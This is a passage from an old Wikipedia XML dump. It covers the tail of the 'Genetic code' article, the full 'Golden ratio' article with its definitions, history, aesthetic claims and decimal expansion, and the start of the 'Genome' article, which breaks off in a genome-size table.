the code in exactly what order has proved far more controversial{{fn|4}}{{fn|5}}. A third is that [[natural selection]] organized the codon assignments of the genetic code to minimize the effects of genetic errors ([[mutations]]){{fn|6}}.

== Other resources ==
There are several books available online that go into great detail on this topic.  They are available through the [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=Books NCBI Bookshelf], maintained by the [[National_Institutes_of_Health|United States National Institutes of Health]].  In particular the following books would be useful to consult:
* Griffiths, Anthony J.F.; Miller, Jeffrey H.; Suzuki, David T.; Lewontin, Richard C.; Gelbart, William M.  (1999).  [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=iga.TOC ''Introduction to Genetic Analysis'' (7th ed.)].  New York: W. H. Freeman &amp; Co.  ISBN 0-7167-3771-X
* Alberts, Bruce; Johnson, Alexander; Lewis, Julian; Raff, Martin; Roberts, Keith; Walter, Peter.  (2002).  [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=mboc4.TOC&amp;depth=2 ''Molecular Biology of the Cell'' (4th ed.)].  New York: Garland Publishing.  ISBN 0815332181
* Lodish, Harvey; Berk, Arnold; Zipursky, S. Lawrence; Matsudaira, Paul; Baltimore, David; Darnell, James E.  (1999).  [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=mcb.TOC ''Molecular Cell Biology'' (4th ed.)].  New York: W. H. Freeman &amp; Co.  ISBN 0-7167-3706-X
There is also a themed wiki devoted to the topic of how the genetic code evolved, and its effects on the subsequent evolution of the genome:
* http://www.evolvingcode.net

==References==
*{{fnb|1}} e.g. see Knight, R.D.; Freeland S. J. and Landweber, L.F.  (1999) [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10366854 The 3 Faces of the Genetic Code.] ''Trends in the Biochemical Sciences'' '''24'''(6), 241-247.
*{{fnb|2}} Knight, R.D. and Landweber, L.F.  (1998).  [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9751648 Rhyme or reason: RNA-arginine interactions and the genetic code.]  ''Chemistry &amp; Biology'' '''5'''(9), R215-R220.    [http://bayes.colorado.edu/Papers/chmbio98.pdf PDF version of manuscript]
*{{fnb|3}} Brooks, Dawn J.; Fresco, Jacques R.; Lesk, Arthur M.; and Singh, Mona.  (2002).  [http://mbe.oupjournals.org/cgi/content/full/19/10/1645 Evolution of Amino Acid Frequencies in Proteins Over Deep Time: Inferred Order of Introduction of Amino Acids into the Genetic Code].  ''Molecular Biology and Evolution'' '''19''', 1645-1655.
*{{fnb|4}} Amirnovin R. (1997) [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9115171 An analysis of the metabolic theory of the origin of the genetic code.] ''Journal of Molecular Evolution'' '''44'''(5), 473-6.
*{{fnb|5}} Ronneberg T.A.; Landweber L.F. and Freeland S.J. (2000) [http://www.pnas.org/cgi/content/full/97/25/13690 Testing a biosynthetic theory of the genetic code: Fact or artifact?] ''Proceedings of the National Academy of Sciences, USA'' '''97'''(25), 13690-13695.
*{{fnb|6}} e.g. see review by Freeland S.J.; Wu T. and Keulmann N. (2003) [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14604186 The Case for an Error Minimizing Genetic Code.] ''Orig Life Evol Biosph.'' '''33'''(4-5), 457-77.

==See also==
*[[Anticodon]]
*[[Protein biosynthesis]]
*[[Operon]]
*[[lac operon]]

==External links==
*[http://www.geneseo.edu/~eshamb/php/dna.php Online DNA &amp;rarr; Amino Acid Converter]
*[http://bioinformatics.picr.man.ac.uk/bioinf/tyates.jsp?page=3 DNA Sequence &amp;rarr; Protein Sequence converter]
*[http://insilico.ehu.es/translate/ DNA to protein translation (6 frames/13 genetic codes)]


[[Category:Molecular genetics]]
[[Category:Gene expression]]

[[bg:Генетичен код]]
[[ca:Codi genètic]]
[[cs:Genetický kód]]
[[da:Genetisk kode]]
[[de:Genetischer Code]]
[[es:Codón]]
[[eo:Genetika Kodo]]
[[fr:Code génétique]]
[[ko:코돈]]
[[he:הקוד הגנטי]]
[[mk:Генетички код]]
[[nl:Genetische code]]
[[ja:コドン]]
[[no:Genetisk kode]]
[[pl:Kod genetyczny]]
[[ru:Генетический код]]
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[[sv:Genetiska koden]]
[[vi:Mã di truyền]]
[[zh:遗传密码]]</text>
    </revision>
  </page>
  <page>
    <title>Golden ratio</title>
    <id>12386</id>
    <revision>
      <id>41750591</id>
      <timestamp>2006-03-01T13:57:11Z</timestamp>
      <contributor>
        <username>Tom harrison</username>
        <id>42168</id>
      </contributor>
      <minor />
      <comment>/* History */ split long sentence</comment>
      <text xml:space="preserve">The '''golden ratio''', also known as the '''golden proportion''', '''golden mean''', '''golden section''', '''golden number''', '''divine proportion''' or '''''sectio divina''''', is an [[irrational number]], approximately [[#Decimal expansion|1.618]], that possesses many interesting properties.

Shapes proportioned according to the golden ratio have long been considered [[aesthetics|aesthetically]] pleasing in Western cultures, and the golden ratio is still used frequently in art and design, suggesting a  natural balance between symmetry and asymmetry.  The ancient [[Pythagorean]]s, who defined numbers as expressions of ratios (and not as units as is common today), believed that reality is numerical and that the golden ratio expressed an underlying truth about existence.

==Definition==
Two quantities are said to be in the ''golden ratio'', if &quot;the whole (i.e., the sum of the two parts) is to the larger part as the larger part is to the smaller part&quot;, i.e. if

:&lt;math&gt;\frac{a+b}{a} = \frac{a}{b}&lt;/math&gt;

where ''a'' is the larger part and ''b'' is the smaller part.
[[Image:Golden ratio line.png|right|frame|A line is divided into two segments &lt;font color=&quot;blue&quot;&gt;'''''a'''''&lt;/font&gt; and &lt;font color=&quot;red&quot;&gt;'''''b'''''&lt;/font&gt;. The &lt;font color=&quot;green&quot;&gt;'''''entire line'''''&lt;/font&gt; is to the &lt;font color=&quot;blue&quot;&gt;'''''a'''''&lt;/font&gt; segment as &lt;font color=&quot;blue&quot;&gt;'''''a'''''&lt;/font&gt; is to the &lt;font color=&quot;red&quot;&gt;'''''b'''''&lt;/font&gt; segment]]

Equivalently, they are in the golden ratio if the [[ratio]] of the larger one to the smaller one equals the ratio of the smaller one to their difference, i.e. if

:&lt;math&gt;\frac{a}{b} = \frac{b}{a-b}.&lt;/math&gt;

After multiplying the first equation with ''a''/''b'' or the second equation with (''a''&amp;nbsp;&amp;minus;&amp;nbsp;''b'')/''b'', both of these equations are seen to be equivalent to

:&lt;math&gt;\left(\frac{a}{b}\right)^2 = \frac{a}{b} + 1.\qquad\qquad(*)&lt;/math&gt;

The Greek letter &amp;phi; ([[phi]]) is conventionally used to denote the size of the larger part when the smaller part is 1, and this number &amp;phi; is often called &quot;the golden ratio&quot;.  Thus we have

:&lt;math&gt;\frac{a}{b} = \varphi.&lt;/math&gt;

The equation labeled (*) above then becomes

:&lt;math&gt;\varphi^2=\varphi+1\,&lt;/math&gt;

or equivalently,

:&lt;math&gt;\varphi^2 - \varphi - 1 \ = \ 0&lt;/math&gt;

The solutions of this [[quadratic equation]] are

:&lt;math&gt;{1 \pm \sqrt{5} \over 2}.&lt;/math&gt;

Since &amp;phi; is a quantity it must be positive, hence we have

:&lt;math&gt;\varphi = {1 + \sqrt{5} \over 2}\approx\ 1.618 033 988\dots.&lt;/math&gt;

== History ==
The golden ratio was first studied by ancient mathematicians because of its frequent appearance in [[geometry]]. There is evidence that it was understood and used as far back in history as [[ancient Egypt]]. In the [[Great Pyramid of Giza]] built around [[2600 BC]], the golden ratio is represented by the ratio of the length of the face (the slope height), inclined at an angle [[θ]] to the ground, to half the length of the side of the square base, equivalent to the [[secant]] of the angle θ. The above two lengths were about 186.4 and 115.2 metres respectively. The ratio of these lengths is the golden ratio 1.618.

The largest [[isosceles triangle]] of the ''sriyantra'' design used in [[ancient India]], described in the ''[[Atharvaveda|Atharva-Veda]]'' (circa [[1200 BC|1200]]-[[900 BC]]) is one of the face triangles of the Great Pyramid in miniature, showing almost exactly the same relationship between [[π]] and the golden ratio as in its larger counterpart.

It is believed that after tracing the path of [[Venus]] in the sky, the ancients found that the ratio of the length of the long arm of the pentagon shape to the length of the shorter arm was 1.618.

The [[Ancient Greece|ancient Greeks]] usually attributed its discovery to [[Pythagoras]] (or to the Pythagoreans, notably [[Theodorus of Cyrene|Theodorus]]) or to [[Hippasus of Metapontum]]. [[Hellenistic]] mathematician [[Euclid]] spoke of the &quot;golden mean&quot; this way, &quot;a straight line is said to have been cut in extreme and mean ratio when, as the whole line is to the greater segment, so is the greater to the lesser&quot;.  The golden ratio is represented by the [[Greek alphabet|Greek letter]] '''&lt;math&gt;\varphi&lt;/math&gt;''' ([[phi]], after [[Phidias]], a sculptor who commonly employed it) or less commonly by '''&lt;math&gt;\tau&lt;/math&gt;''' ([[tau]], the first letter of Greek words meaning ''cut'').

==A startlingly quick proof of irrationality==
Recall that we denoted the &quot;larger part&quot; by ''a'' and the &quot;smaller part&quot; by ''b'',
and concluded that

:&lt;math&gt;\frac{a}{b} = \frac{b}{a-b}.&lt;/math&gt;

This gives a startlingly quick proof that the golden ratio is an [[irrational number]].  An irrational number is one that cannot be written as ''a''/''b'' where ''a'' and ''b'' are [[integer]]s.  If ''a''/''b'' is such a fraction, in [[lowest terms]], then ''b''/(''a''&amp;nbsp;&amp;minus;&amp;nbsp;''b'') is in even lower terms &amp;mdash; a contradiction.  Thus this number cannot be so written, and it is therefore irrational.

==Alternate forms==
The formula &lt;math&gt;\varphi = 1 + 1/\varphi&lt;/math&gt; can be expanded recursively to obtain a [[continued fraction]] for the golden ratio:

:&lt;math&gt;\varphi = [1; 1, 1, 1, ...] = 1 + \frac{1}{1 + \frac{1}{1 + \frac{1}{1 + \cdots}}}&lt;/math&gt;

and its [[reciprocal]]:

:&lt;math&gt;\varphi^{-1} = [0; 1, 1, 1, ...] = 0 + \frac{1}{1 + \frac{1}{1 + \frac{1}{1 + \cdots}}}.&lt;/math&gt;

Note that the successive convergents of these continued fractions are ratios of [[Fibonacci number]]s.

The equation &lt;math&gt;\varphi^2 = 1 + \varphi&lt;/math&gt; likewise produces the continued [[square root]] form:

:&lt;math&gt;\varphi = \sqrt{1 + \sqrt{1 + \sqrt{1 + \sqrt{1 + \cdots}}}}.&lt;/math&gt;

Also:

:&lt;math&gt;\varphi=1+2\sin(\pi/10)=1+2\sin 18^\circ&lt;/math&gt;

:&lt;math&gt;\varphi={1 \over 2}\csc(\pi/10)={1 \over 2}\csc 18^\circ&lt;/math&gt;

:&lt;math&gt;\varphi=2\cos(\pi/5)=2\cos 36^\circ\,&lt;/math&gt;

These correspond to the fact that the length of the diagonal of a regular pentagon is &amp;phi; times the length of its side, and similar relations in a [[pentagram]].

==Mathematical uses==
&lt;div style=&quot;float:right;width:315px;&quot;&gt;
[[Image:FakeRealLogSpiral.png|none|thumb|300px|Approximate and true Golden Spirals. The &lt;font color=#008000&gt;green&lt;/font&gt; spiral is made from quarter-circles tangent to the interior of each square, while the &lt;font color=#800000&gt;red&lt;/font&gt; spiral is a Golden Spiral, a special type of [[logarithmic spiral]]. Overlapping portions appear &lt;font color=#808000&gt;yellow&lt;/font&gt;. The length of the side of a larger square to the next smaller square is in the golden ratio.]]

[[image:Fibonacci Spiral.png|none|thumb|300px|A [[Fibonacci sequence|Fibonacci spiral]] which also approximates the Golden Spiral.]]
&lt;/div&gt;

The number &amp;phi; turns up frequently in [[geometry]], in particular in figures involving pentagonal [[symmetry]].
For instance the ratio of a regular [[pentagon]]'s side and diagonal is equal to &amp;phi;, and the vertices of a regular [[icosahedron]] are located on three orthogonal [[golden rectangle]]s.

The explicit expression for the [[Fibonacci sequence]] involves the golden ratio:

:&lt;math&gt;F\left(n\right) = {{\varphi^n-(1-\varphi)^n} \over {\sqrt 5}} = {{\varphi^n-(-\varphi)^{-n}} \over {\sqrt 5}}&lt;/math&gt;

The [[limit (mathematics)|limit]] of ratios of successive terms of the Fibonacci sequence (or any Fibonacci-like sequence) equals the golden ratio; therefore, when a number in the Fibonacci sequence is divided by its preceding number, it approximates &amp;phi;. e.g., 987/610&amp;nbsp;≈&amp;nbsp;1.6180327868852. Alternatingly the approximation to &amp;phi; is too small and too large, it gets better as the Fibonacci numbers get higher, and:

:&lt;math&gt;\sum_{n=1}^{\infty}|F(n)\varphi-F(n+1)| = \varphi.&lt;/math&gt;

Furthermore, the successive powers of &amp;phi; obey the Fibonacci [[recurrence]]:

:&amp;phi;&lt;sup&gt;&amp;minus;2&lt;/sup&gt; = &amp;minus; &amp;phi; + 2,
:&amp;phi;&lt;sup&gt;&amp;minus;1&lt;/sup&gt; = &amp;phi; &amp;minus; 1,
:&amp;phi;&lt;sup&gt;0&lt;/sup&gt; = 1,
:&amp;phi;&lt;sup&gt;1&lt;/sup&gt; = &amp;phi;,
:&amp;phi;&lt;sup&gt;2&lt;/sup&gt; = &amp;phi; + 1,
:&amp;phi;&lt;sup&gt;3&lt;/sup&gt; = 2&amp;phi; + 1,
:&amp;phi;&lt;sup&gt;4&lt;/sup&gt; = 3&amp;phi; + 2,
:&amp;phi;&lt;sup&gt;5&lt;/sup&gt; = 5&amp;phi; + 3,
:&amp;phi;&lt;sup&gt;''n''&lt;/sup&gt; = ''F''(''n'')&amp;phi; + ''F''(''n''&amp;nbsp;&amp;minus;&amp;nbsp;1),
:...

Because &amp;phi; is the only positive number that satisfies the identity &amp;phi;&lt;sup&gt;''n''&lt;/sup&gt; = &amp;phi;&lt;sup&gt;''n'' &amp;minus; 1&lt;/sup&gt; + &amp;phi;&lt;sup&gt;''n'' &amp;minus; 2&lt;/sup&gt;, any polynomial expression in &amp;phi; may be decomposed into a linear expression.  For example:
:&lt;math&gt;3\varphi^3 - 5\varphi^2 + 4 = 3(\varphi^2 + \varphi) - 5\varphi^2 + 4 = 3[(\varphi + 1) + \varphi] - 5(\varphi + 1) + 4 = \varphi + 2 \approx 3.618&lt;/math&gt;

From a mathematical point of view, the golden ratio is notable for having the simplest continued fraction expansion, and of thereby being the &quot;most irrational number&quot; worst case of [[Joseph-Louis Lagrange|Lagrange]]'s [[Lagrange's approximation theorem|approximation theorem]]. It has been argued this is the reason angles close to the golden ratio often show up in [[phyllotaxis]] (the growth of plants). It is also the fundamental unit of the [[algebraic number field]] &lt;math&gt;\mathbb{Q}(\sqrt{5})&lt;/math&gt; and is a [[Pisot-Vijayaraghavan number]].

The golden ratio has interesting properties when used as the base of a [[numeral system]] (see [[Golden mean base]]). Another interesting property is its square being equal to itself plus one, while its reciprocal is itself minus one.

==Aesthetic uses==
[[Image:ParthenonGoldenRatio.png|thumb|left|325px|The [[Parthenon]] showing various [[golden rectangle]]s claimed to be used in its design.]]

It has been claimed that the [[History of Ancient Egypt|ancient Egyptians]] knew the golden ratio because ratios close to the golden ratio may be found in the positions or proportions of the [[Pyramids of Giza]]. 

The [[History of Greece|ancient Greeks]] already knew the golden ratio from their investigations into [[geometry]], but there is no evidence they thought the number warranted special attention above that for numbers like &lt;math&gt;\pi&lt;/math&gt; ([[Pi]]), for example.  Studies by psychologists have been devised to test the idea that the golden ratio plays a role in human perception of [[beauty]].  They are, at best, inconclusive.  Despite this, a large corpus of beliefs about the aesthetics of the golden ratio has developed.  These beliefs include the mistaken idea that the purported aesthetic properties of the ratio was known in antiquity.  For instance, the [[Acropolis]], including the [[Parthenon]], is often claimed to have been constructed using the golden ratio. This has encouraged modern artists, architects, photographers, and others, during the last 500 years, to incorporate the ratio in their work.  As an example, a [[rule of thumb]] for composing a photograph is called the [[rule of thirds]]; it is said to be roughly based on the golden ratio.

It is also claimed that the human body has proportions close to the golden ratio.

In 1509 [[Luca Pacioli]] published the ''Divina Proportione'', which explored not only the mathematics of the golden ratio, but also its use in architectural design.  This was a major influence on subsequent generations of artists and architects.  [[Leonardo Da Vinci]] drew the illustrations, leading many to speculate that he himself incorporated the golden ratio into his work. It has been suggested for example that Da Vinci's painting of the ''Mona Lisa'' employs the Golden Ratio in its geometric equivalents.

The [[Architect]] [[Le Corbusier]] used the golden ratio as the basis of his [[Modulor]] system of [[Architecture]].

[[Image:Golden-ratio-construction.png|frame|summary of [[Ruler-and-compass construction|classical construction]]&lt;br&gt;upon a [[unit square]]]]
[[Image:Golden section page.png|thumb|left|250px|Golden ratio applied to page and margin dimensions in [[book design]]]]

The ratio is sometimes used in modern man-made constructions, such as stairs and buildings, [[woodwork]], and in [[paper size]]s; however, the series of standard sizes that includes [[A4 paper size|A4]] is based on a ratio of &lt;math&gt;\sqrt{2}&lt;/math&gt; and not on the golden ratio.  The average ratio of the sides of great paintings, according to a recent analysis, is 1.34. [http://arxiv.org/abs/physics/9908036/]. Credit cards are generally 3&amp;nbsp;3/8 by 2&amp;nbsp;1/8 inches in size, which is less than 2 % from the golden ratio.

The ratios of [[just intonation|justly tuned]] [[octave]], [[fifth]], and major and minor [[sixth]]s are ratios of consecutive numbers of the [[Fibonacci sequence]], making them the closest low integer ratios to the golden ratio. [[James Tenney]] reconceived his piece ''[[shepard tone|For Ann (rising)]]'', which consists of up to twelve computer-generated upwardly [[glissando]]ing tones (see [[Shepard tone]]), as having each tone start so it is the golden ratio (in between an [[equal tempered]] [[minor sixth|minor]] and [[major sixth]]) below the previous tone, so that the combination tones produced by all consecutive tones are a lower or higher pitch already, or soon to be, produced.

[[Ernő Lendvai]] (1971) analyses [[Béla Bartók]]'s works as being based on two opposing systems, that of the golden ratio and the [[acoustic scale]].  French composer [[Erik Satie]] used the golden ratio in several of his pieces, including ''Sonneries de la Rose+Croix''. His use of the ratio gave his music an otherworldly symmetry.

[[Image:Divina proportione.png|thumb|Woodcut from the ''Divina Proportione'' by [[Luca Pacioli ]] (1509) depicting the golden proportion as it applies to the human face.]]

The construction of a [[pentagram]] is based on the golden ratio.  The pentagram can be seen as a geometric shape consisting of 5 straight lines arranged as a star with 5 points.  The intersection of the lines naturally divides each length into 3 parts.  The smaller part (which forms the pentagon inside the star) is proportional to the longer length (which form the points of the star) by a ratio of 1:1.618...  It is thought by some that this fact may be a reason why the ancient philosopher [[Pythagoras]] chose the pentagram as the symbol of the secret fraternity of which he was both leader and founder.

[[Image:Golden_Ratio.jpg|thumb|left|325px|The famous &quot;Golden Ratio&quot; sculpture in Jerusalem.
This fifty-ton stone and gold installation is based on the Fibonacci numbers. 
The &quot;Golden Ratio&quot; was contributed by the Australian sculptor Andrew Rogers.

(Photo credit: [http://www.isracast.com/njf.asp IsraCast])]]

There is no known general algorithm to arrange a given number of nodes evenly on a sphere (for any of several definitions of &quot;evenly&quot;), but a good approximation can be achieved by dividing the sphere into parallel bands of equal area and placing one node in each band at longitudes spaced by a golden section of the circle, i.e. 360&amp;deg;/&amp;phi; &amp;cong; 222.5&amp;deg;.  This approach was used to arrange mirrors on the [http://science.nasa.gov/headlines/y2001/ast09oct_1.htm Starshine 3 satellite].

{{-}}

==Decimal expansion==
{{OEIS|id=A001622}}

&lt;code&gt;
 1.6180339887 4989484820 4586834365 6381177203 0917980576
   2862135448 6227052604 6281890244 9707207204 1893911374
   8475408807 5386891752 1266338622 2353693179 3180060766
   7263544333 8908659593 9582905638 3226613199 2829026788
   0675208766 8925017116 9620703222 1043216269 5486262963
   1361443814 9758701220 3408058879 5445474924 6185695364
   8644492410 4432077134 4947049565 8467885098 7433944221
   2544877066 4780915884 6074998871 2400765217 0575179788
   3416625624 9407589069 7040002812 1042762177 1117778053
   1531714101 1704666599 1466979873 1761356006 7087480710
   1317952368 9427521948 4353056783 0022878569 9782977834
   7845878228 9110976250 0302696156 1700250464 3382437764
   8610283831 2683303724 2926752631 1653392473 1671112115
   8818638513 3162038400 5222165791 2866752946 5490681131
   7159934323 5973494985 0904094762 1322298101 7261070596
   1164562990 9816290555 2085247903 5240602017 2799747175
   3427775927 7862561943 2082750513 1218156285 5122248093
   9471234145 1702237358 0577278616 0086883829 5230459264
   7878017889 9219902707 7690389532 1968198615 1437803149
   9741106926 0886742962 2675756052 3172777520 3536139362
   1076738937 6455606060 5922...
&lt;/code&gt;
This can also be found fairly easily on a calculator, using the formula 
:&lt;math&gt;{1+\sqrt{5} \over 2}&lt;/math&gt; or &lt;math&gt;5^{0.5} \times 0.5 + 0.5&lt;/math&gt;

==See also==
{{wikisource}}
* [[Golden angle]]
* [[Golden function]]
* [[Golden rectangle]]
* [[Golden section search]]
* [[Golden section (page proportion)]]
* [[Logarithmic spiral]]
* [[Fibonacci number]]
* [[Modulor]]
* [[Sacred geometry]]
* [[The Roses of Heliogabalus]]
* [[Plastic number]]
* [[Penrose tiles]]
* [[Dynamic symmetry]]
* [[Golden ratio base]]
* [[Vitruvian man]]
* [[The Da Vinci Code]]

==References==
* ''Crest of the Peacock'', George G. Joseph, London, 1991.

==External links==
===Mathematics===
* {{MathWorld|title=Golden Ratio|urlname=GoldenRatio}}
* [http://www.goldennumber.net The Golden Number]
* [http://www.mcs.surrey.ac.uk/Personal/R.Knott/Fibonacci/phi.html The Golden Section: Phi] (homepage created by Dr Ron Knott)
* [http://astronomy.swin.edu.au/~pbourke/analysis/phi/ PHI, the golden ratio]
* [http://goldennumber.net/phi20000.htm Phi to 20,000 places]
* [http://www.bbc.co.uk/dna/h2g2/A2346374 phi] article on [[h2g2]].
* [http://www.championtrees.org/yarrow/phi/phi1.htm PHI: The Divine Ratio]
* [http://www.beautyanalysis.com/index2_mba.htm Stephen Marquardt's Beauty Mask based on Golden Ratio]
* [http://www.research.att.com/~njas/sequences/ The On-Line Encyclopedia of Integer Sequences]
* [http://www.contracosta.cc.ca.us/math/pentagrm.htm The Pentagram &amp; The Golden Ratio - with many problems to consider]
* [http://www.umcs.maine.edu/~markov/GoldenRatio.pdf Misconceptions about the golden ratio]

===Aesthetics===
* [http://www.golden-section.de.vu English Bibliography of The Golden Section, esp. in Music]
* [http://72.14.203.104/search?q=cache:kld_rfG2wvQJ:www.tlc.discovery.com/convergence/humanface/articles/mask.html+&amp;hl=en&amp;client=firefox-a A Discovery Channel Presentation on the Human Face and applying the Human Mask &quot;beautiful&quot; to your own face]
* The Russian emigrée cubist painter [[Marie Vorobieff]] (Marevna) used &quot;The[http://kwc.org/blog/archives/2004/2004-03-09.book_the_golden_ratio.html [[Golden Ratio]]&quot;] to layout paintings.
* George Markowsky, [http://www.umcs.maine.edu/~markov/GoldenRatio.pdf Misconceptions about the Golden Ratio]
* Bruce Rawles has a section on the golden ratio and related topics on his Sacred Geometry tutorial page (http://www.intent.com/sg) and numerous links to both mathematical and mystical sites on his links page (http://www.intent.com/bruce/links.html).

===Tools===
* [http://www.spyrock.com/nadafarm/html/gmtool.html Easy golden section tool]
* [http://www.goldenmeangauge.co.uk/ Golden Mean Gauge, usable tool]
* [http://www.phimatrix.com/ PhiMatrix, phi-based graphic analysis and design software tool]
* [http://www.atrise.com/golden-section/ Atrise Golden Section, design software tool]
* [http://powerretouche.com/Divine_proportion_introduction.htm Power Retouche Photoshop plugin, software tool]
* [http://goldennumber.net/color.htm Color selection tool]


[[Category:Irrational numbers]]
[[Category:Mathematical constants]]
[[Category:Famous numbers]]
[[Category:Golden ratio| ]]

{{Link FA|de}}

[[ca:Secció àuria]]
[[da:Det gyldne snit]]
[[de:Goldener Schnitt]]
[[es:Número áureo]]
[[eo:Ora proporcio]]
[[fr:Nombre d'or]]
[[ko:황금비]]
[[it:Sezione aurea]]
[[he:יחס הזהב]]
[[hu:Aranymetszés]]
[[nl:Gulden snede]]
[[ja:黄金比]]
[[no:Det gylne snitt]]
[[pl:Złoty podział]]
[[pt:Proporção áurea]]
[[ru:Золотое сечение]]
[[sk:Zlatý rez]]
[[sl:Zlati rez]]
[[fi:Kultainen leikkaus]]
[[sv:Gyllene snittet]]
[[tr:Altın oran]]
[[uk:Золотий перетин]]
[[zh:黄金分割]]</text>
    </revision>
  </page>
  <page>
    <title>Genome</title>
    <id>12388</id>
    <revision>
      <id>40355230</id>
      <timestamp>2006-02-20T00:45:27Z</timestamp>
      <contributor>
        <username>IstvanWolf</username>
        <id>496966</id>
      </contributor>
      <minor />
      <comment>grammar/clarity (Intro)</comment>
      <text xml:space="preserve">{{otheruses}}

In [[biology]] the '''genome''' of an organism is the whole hereditary information of an organism that is encoded in the [[DNA]] (or, for some viruses, [[RNA]]). This includes both the [[gene|genes]] and the [[Junk DNA|non-coding sequences]]. The term was coined in [[1920]] by [[Hans Winkler]], Professor of [[Botany]] at the [[University of Hamburg]], [[Germany]]. {{unsolved|biology|Other than the structural genes, which is the simpler part of the system? What is the complete structure and function of the proteome proteins expressed by a cell or organ at a particular time and under specific conditions? What is the complete function of the regulator genes?}}

More precisely, the '''genome''' of an [[organism]] is a complete [[DNA sequence]] of one set of [[chromosome]]s; for example, one of the two sets that a [[diploid]] individual carries in every [[somatic cell]]. The term '''genome''' can be applied specifically to mean the complete set of ''[[cell nucleus|nuclear]] DNA'' (i.e., the '''nuclear genome''') but can also be applied to [[organelles]] that contain their own DNA, as with the '''[[mitochondria|mitochondrial]] genome''' or the '''[[chloroplast]] genome'''. When people say that the genome of a [[sexual reproduction|sexually reproducing]] [[species]] has been &quot;[[sequencing|sequenced]],&quot; typically they are referring to a determination of the sequences of one set of [[autosome]]s and one of each type of [[sex chromosome]], which together represent both of the possible sexes. Even in species that exist in only one sex, what is described as &quot;a genome sequence&quot; may be a composite from the chromosomes of various individuals. In general use, the phrase '''genetic makeup''' is sometimes used conversationally to mean the genome of a particular individual or organism.  The study of the global properties of genomes of related organisms is usually referred to as [[genomics]], which distinguishes it from [[genetics]] which generally studies the properties of single [[gene]]s or groups of genes.

==Types of genomes==
Most biological entities more complex than a [[virus (biology)|virus]] sometimes or always carry additional genetic material besides that which resides in their chromosomes.  In some contexts, such as sequencing the genome of a pathogenic microbe, &quot;genome&quot; is meant to include this auxiliary material, which is carried in [[plasmid]]s. In such circumstances then, &quot;genome&quot; describes all of the genes and non-coding DNA that have the potential to be present. 

In [[vertebrate]]s such as humans, however, &quot;genome&quot; carries the typical connotation of only chromosomal DNA. So although human [[mitochondria]] contain genes, these genes are not considered part of the genome. In fact, mitochondria are sometimes said to have their own genome, often referred to as the &quot;[[mitochondrial genome]]&quot;.

==Genomes and genetic variation==
Note that a genome does not capture the genetic diversity or the genetic [[polymorphism (biology)|polymorphism]] of a species. For example, the human genome sequence in principle could be determined from just half the DNA of one cell from one individual. To learn what variations in DNA underlie particular traits or diseases requires comparisons across individuals. This point explains the common usage of &quot;genome&quot; (which parallels a common usage of &quot;gene&quot;) to refer not to any particular DNA sequence, but to a whole family of sequences that share a biological context. 

Although this concept may seem counter intuitive, it is the same concept that says there is no particular shape that is the shape of a [[cheetah]]. Cheetahs vary, and so do the sequences of their genomes. Yet both the individual animals and their sequences share commonalities, so one can learn something about cheetahs and &quot;cheetah-ness&quot; from a single example of either.

==Minimal genomes==
Since genomes and their organisms are very complex, one research strategy is to reduce the number of genes in a genome to the bare minimum and still have the organism in question survive.  There is experimental work being done on minimal genomes for single cell organisms as well as minimal genomes for multicellular organisms (see [[Developmental biology]]).  The work is both ''[[in vivo]]'' and ''[[in silico]]''.  By understanding the functioning of minimal organisms one hopes to add complexity incrementally leading to the understanding of multicellular diseases such as [[Cancer]].(see [[#References]])

==Genome projects==
''Main article:'' [[Genome project]]

The [[Human Genome Project]] was organized to [[physical map|map]] and to [[sequencing|sequence]] the human genome. Other genome projects include [[mus musculus|mouse]], [[rice]], the plant [[Arabidopsis thaliana]], the [[puffer fish]], bacteria like [[E. coli]], etc. 
Many genomes have been sequenced by various genome projects.  The cost of sequencing continues to drop, and it is possible that eventually an individual's genome  could be [[sequenced]] for around several thousand dollars (US).

''Compare:'' [[proteome]]

==Comparison of different [[genome size|genome sizes]]==
For an updated list of sequenced genomes and their sizes, visit [http://www.cbs.dtu.dk/databases/DOGS/index.php DOGS]
&lt;table border=1 cellspacing=0 cellpadding=2&gt;
&lt;tr&gt;
&lt;th&gt;Organism&lt;/th&gt;
&lt;th&gt;Genome size ([[base pair]]s)&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Virus]], [[Phi-X174 phage|Phage &amp;Phi;-X174;]]&lt;/td&gt;
&lt;td&gt;5386 - First sequenced genome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Virus]], [[lambda phage|Phage &amp;lambda;]]&lt;/td&gt;
&lt;td&gt;5&amp;times;10&lt;sup&gt;4&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Bacterium]], ''[[Escherichia coli]]''&lt;/td&gt;
&lt;td&gt;4&amp;times;10&lt;sup&gt;6&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Amoeba]],  ''[[Amoeba dubia]]''&lt;/td&gt;
&lt;td&gt;67&amp;times;10&lt;sup&gt;10&lt;/sup&gt; - Largest known genome Dec, 2005&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Plant]],  ''[[Fritillary]] [[Fritillary assyriaca| assyrica]]''&lt;/td&gt;
&lt;td&gt;13&amp;times;10&lt;sup&gt;10&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Fungus]],''[[Saccharomyces cerevisiae]]''&lt;/td&gt;
&lt;td&gt;2&amp;times;10&lt;sup&gt;7&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Nematoda| Nematode]], ''[[Caenorhabditis elegans]]''&lt;/td&gt;
